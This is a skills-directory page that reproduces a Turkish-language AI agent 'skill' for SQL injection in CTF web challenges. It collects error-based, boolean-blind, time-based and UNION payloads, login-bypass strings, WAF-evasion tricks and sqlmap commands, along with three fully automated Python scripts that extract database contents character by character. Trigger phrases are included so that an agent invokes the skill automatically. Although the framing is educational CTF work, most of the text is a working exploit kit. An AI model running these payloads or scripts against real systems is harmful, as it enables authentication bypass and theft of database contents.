SQL injection — error-based, blind boolean, time-based ve UNION tekniklerini kapsar; CTF'te login bypass, veri çekme ve flag okumak için tam otomatik exploit şablonları içerir
Installs into .claude/skills of the current project.
Are you the author of Sqli Exploitation?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/mustafakemal0146-sqli-exploitation)
---
name: sqli-exploitation
description: SQL injection — error-based, blind boolean, time-based ve UNION tekniklerini kapsar; CTF'te login bypass, veri çekme ve flag okumak için tam otomatik exploit şablonları içerir
tags: [ctf, web, sqli, sql-injection, blind-sqli, union-based, error-based, time-based, boolean-blind, login-bypass, postgres, mysql, sqlite]
triggers:
- "login formu SQL sorgusu"
- "kullanıcı girişi filtreleniyor"
- "room matching SQL"
- "get_matching_roommates"
- "database error"
- "single quote injection"
- "SQL query"
- "password::int cast"
- "error-based PostgreSQL"
- "roommate search"
- "WHERE clause user input"
- "length filtered input"
- "comment blocked"
- "blind injection"
- "conditional error"
difficulty: medium
category: web
solved_challenges:
- "LACTF 2024 - la-housing-portal"
- "Real World CTF 2024 - Chatterbox"
adapted_for: fetih
---
# SQL Injection Exploitation
CTF web challenglarında SQL injection, en yaygın ve ödüllendirici saldırı vektörlerinden biridir. Bu skill, error-based, boolean-blind, time-based ve UNION tabanlı teknikleri, gerçek CTF writeup'larından alınan payloadlarla kapsar.
## Ne Zaman Kullan
Aşağıdaki ipuçlarından herhangi birini görünce bu skill'i tetikle:
- Login formunda `username` / `password` alanları var, kaynak kodu veya hata mesajı SQL sorgusuna atıfta bulunuyor
- Challenge açıklamasında "room matching", "roommate search", "filter by preference" gibi ifadeler geçiyor
- Input uzunluğu sınırlaması var (key ≤10, value ≤50 gibi) — bu genellikle kör bir bypass gerektirir
- Yorum karakterleri (`--`, `#`, `/*`) engellenmiş ama tek tırnak (`'`) hâlâ çalışıyor
- Sunucu PostgreSQL çalıştırıyor ve `password::int` gibi cast işlemleri var (hata tabanlı sızıntı)
- `sqlmap` dene ama filtreleniyorsa manuel crafting gerekli
- Java/Spring uygulamasında Burp Suite ile parametreleri test ettiğinde `500` hatası dönüyor
## Saldırı Türleri
### 1. Error-Based SQLi (Hata Tabanlı)
Sunucu hata mesajını doğrudan yansıtıyorsa veri okuma en hızlı yoldur.
**PostgreSQL — cast hatası ile veri sızdırma:**
```sql
' AND 1=CAST((SELECT version()) AS INT)--
```
`invalid input syntax for type integer: "PostgreSQL 14.2..."` hatası veriyi döker.
**MySQL — EXTRACTVALUE ile:**
```sql
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT database())))--
```
### 2. Boolean-Based Blind SQLi
Uygulamanın farklı koşullara farklı yanıt verdiği durumlarda kullanılır (kayıt var / yok, giriş başarılı / başarısız).
```sql
' AND SUBSTRING((SELECT flag FROM flags LIMIT 1),1,1)='c'--
' AND ASCII(SUBSTRING((SELECT flag FROM flags),1,1))>96--
```
### 3. Time-Based Blind SQLi
Uygulama hiçbir fark göstermiyorsa gecikme üzerinden veri çekilir.
```sql
-- MySQL
' AND SLEEP(3)--
-- PostgreSQL
'; SELECT pg_sleep(3)--
-- SQLite
' AND 1=(SELECT 1 FROM sqlite_master WHERE type='table' AND name LIKE 'flag%' AND 1=randomblob(100000000))--
```
### 4. UNION-Based SQLi
Kaç sütun döndüğü biliniyorsa en verimli yöntemdir.
```sql
' UNION SELECT NULL,NULL,NULL-- -- sütun sayısını bul
' UNION SELECT NULL,version(),NULL-- -- hangi sütun string
' UNION SELECT NULL,flag,NULL FROM flags--
```
### 5. Uzunluk Kısıtlamalı Blind SQLi (LACTF Stili)
`la-housing-portal` challengında key ≤10, value ≤50 ve yorumlar engellenmiş:
```sql
' OR '1'='1
' OR EXISTS(SELECT 1 FROM users WHERE role='admin' AND 1=1) OR '1'='
```
50 karaktere tam sığan, yorum kullanmayan payload: sorgu parantezi kapatıp `OR` ile koşul ekle, son tırnak ile orijinal sorgunun geri kalanını dengelendire.
## Payload Örnekleri
### Login Bypass
```sql
' OR '1'='1
' OR 1=1--
admin'--
' OR 'x'='x
```
### Tablo ve Sütun Keşfi (PostgreSQL)
```sql
' AND 1=CAST((SELECT string_agg(table_name,',') FROM information_schema.tables WHERE table_schema='public') AS INT)--
' AND 1=CAST((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1 OFFSET 0) AS INT)--
```
### Flag Okuma
```sql
' UNION SELECT 1,flag,3 FROM flags--
' AND 1=CAST((SELECT flag FROM flags LIMIT 1) AS INT)--
```
### Yorum Karakteri Olmadan Kapama (LACTF Stili)
```sql
' AND EXISTS(SELECT 1 FROM users WHERE admin=1) AND '1'='1
```
## Python Exploit Şablonu
### Boolean-Based Blind (Tam Otomatik)
```python
#!/usr/bin/env python3
"""
Boolean-blind SQLi karakter-karakter brute force.
LACTF 2024 la-housing-portal varyantı.
"""
import requests
import string
TARGET = "http://chall.example.com/search"
CHARSET = string.printable.strip()
def check(payload: str) -> bool:
"""True dönerse koşul doğrudur."""
r = requests.post(TARGET, data={"key": "room", "value": payload}, timeout=10)
# Başarılı sonuç belirteci — challenge'a göre ayarla
return "result" in r.text or r.status_code == 200 and len(r.text) > 100
def extract_string(query: str, max_len: int = 64) -> str:
result = ""
for i in range(1, max_len + 1):
found = False
for ch in CHARSET:
# 50 char limiti — query'yi kısa tut
payload = f"' AND SUBSTRING(({query}),{i},1)='{ch}' AND '1'='1"
if len(payload) <= 50 and check(payload):
result += ch
print(f"\r[+] {result}", end="", flush=True)
found = True
break
if not found:
break
print()
return result
if __name__ == "__main__":
flag = extract_string("SELECT flag FROM flags LIMIT 1")
print(f"[FLAG] {flag}")
```
### Error-Based (PostgreSQL Cast)
```python
#!/usr/bin/env python3
"""
PostgreSQL error-based SQLi — cast hatası ile veri sızdırma.
Real World CTF 2024 Chatterbox varyantı.
"""
import requests
import re
TARGET = "http://chall.example.com/login"
def error_extract(query: str) -> str:
payload = f"' AND 1=CAST(({query}) AS INT)-- "
r = requests.post(TARGET, data={"username": "admin", "password": payload}, timeout=10)
# Hata mesajından veriyi çek
m = re.search(r'syntax for type integer: "([^"]+)"', r.text)
if m:
return m.group(1)
return ""
if __name__ == "__main__":
# Tablo adlarını öğren
tables = error_extract(
"SELECT string_agg(table_name,',') FROM information_schema.tables WHERE table_schema='public'"
)
print(f"[+] Tablolar: {tables}")
# Flag tablosundan oku
flag = error_extract("SELECT flag FROM flags LIMIT 1")
print(f"[FLAG] {flag}")
```
### Time-Based Blind (MySQL/PostgreSQL)
```python
#!/usr/bin/env python3
"""Time-based blind SQLi — gecikme ile karakter tespiti."""
import requests
import time
import string
TARGET = "http://chall.example.com/login"
DELAY = 2.0 # saniye — sunucu gecikmesine göre ayarla
def time_check(payload: str) -> bool:
start = time.time()
try:
requests.post(TARGET, data={"username": payload, "password": "x"}, timeout=DELAY + 3)
except requests.Timeout:
return True
return (time.time() - start) >= DELAY
def extract_char(pos: int, query: str) -> str:
for ch in string.printable:
# MySQL
p = f"' AND IF(SUBSTRING(({query}),{pos},1)='{ch}',SLEEP({DELAY}),0)-- "
if time_check(p):
return ch
return ""
if __name__ == "__main__":
flag = ""
for i in range(1, 65):
ch = extract_char(i, "SELECT flag FROM flags LIMIT 1")
if not ch:
break
flag += ch
print(f"\r[+] {flag}", end="", flush=True)
print(f"\n[FLAG] {flag}")
```
## Gerçek Challenge Referansları
### LACTF 2024 — la-housing-portal
- **Bağlam:** Flask + SQLite roommate eşleştirme uygulaması. GET parametresi doğrudan SQL'e giriyor.
- **Kısıtlamalar:** key ≤10 karakter, value ≤50 karakter; `--`, `#`, `/*` yorum karakterleri engellenmiş.
- **Çözüm:** 50 karaktere sığan, yorum içermeyen bir payload: tırnak kapatma + `OR EXISTS(...)` + açık tırnakla kapama.
- **Payload:** `' OR EXISTS(SELECT 1 FROM users WHERE role='admin') OR '1'='1`
- **Writeup:** https://psdat123.github.io/posts/LA-CTF-2024/
### Real World CTF 2024 — Chatterbox
- **Bağlam:** Java Spring + Thymeleaf + PostgreSQL. Parola alanına `password::int` cast uygulanıyor.
- **Teknik:** Error-based PostgreSQL SQLi → admin parolasını sızdır → LFI zinciri → Thymeleaf SSTI → RCE.
- **Çekirdek payload:** `' AND 1=CAST((SELECT password FROM users WHERE username='admin') AS INT)-- `
- **Writeup:** https://samuzora.com/posts/rwctf-2024
## WAF Bypass Teknikleri
### Büyük-Küçük Harf Karıştırma
```sql
SeLeCt, uNiOn, wHeRe
```
### Yorum ile Boşluk Atlatma
```sql
UNION/**/SELECT/**/flag/**/FROM/**/flags
```
### URL Encoding
```
%27 OR %271%27%3D%271
```
### Yorum Karaktersiz Denge
```sql
' OR '1'='1
' AND 'a'='a
```
### İç içe Anahtar Kelime
```sql
UNUNIONION SELSELECTECT -- filtre "UNION" siler, geri kalan birleşir
```
### Alternatif Yazım (MySQL)
```sql
/*!UNION*/ /*!SELECT*/ flag FROM flags
```
### Zaman Tabanlı WAF Bypass
```sql
';WAITFOR DELAY '0:0:3'-- -- MSSQL
';SELECT pg_sleep(3)-- -- PostgreSQL
' AND SLEEP(3)-- -- MySQL
```
## Hızlı Triage Adımları
1. Tek tırnak (`'`) gönder — `500` veya SQL hatası görünce injection noktası doğrulanmış
2. `' OR '1'='1` ile login bypass dene
3. Hata mesajı var mı? → Error-based
4. Farklı yanıt uzunlukları var mı? → Boolean-blind
5. Hiçbir fark yok mu? → Time-based
6. Sütun sayısı belirlenebiliyorsa → UNION-based
7. `sqlmap -u URL -p param --dbs` ile otomatik keşif dene; filtreleniyorsa `--tamper=space2comment` ekle
<!--
⚔ Bu skill FETIH AI Agent icin gelistirilmistir — https://github.com/MustafaKemal0146/fetih
Yetkisiz kullanim/kopyalama tespit edilebilir.
hash: db836b8951765655
-->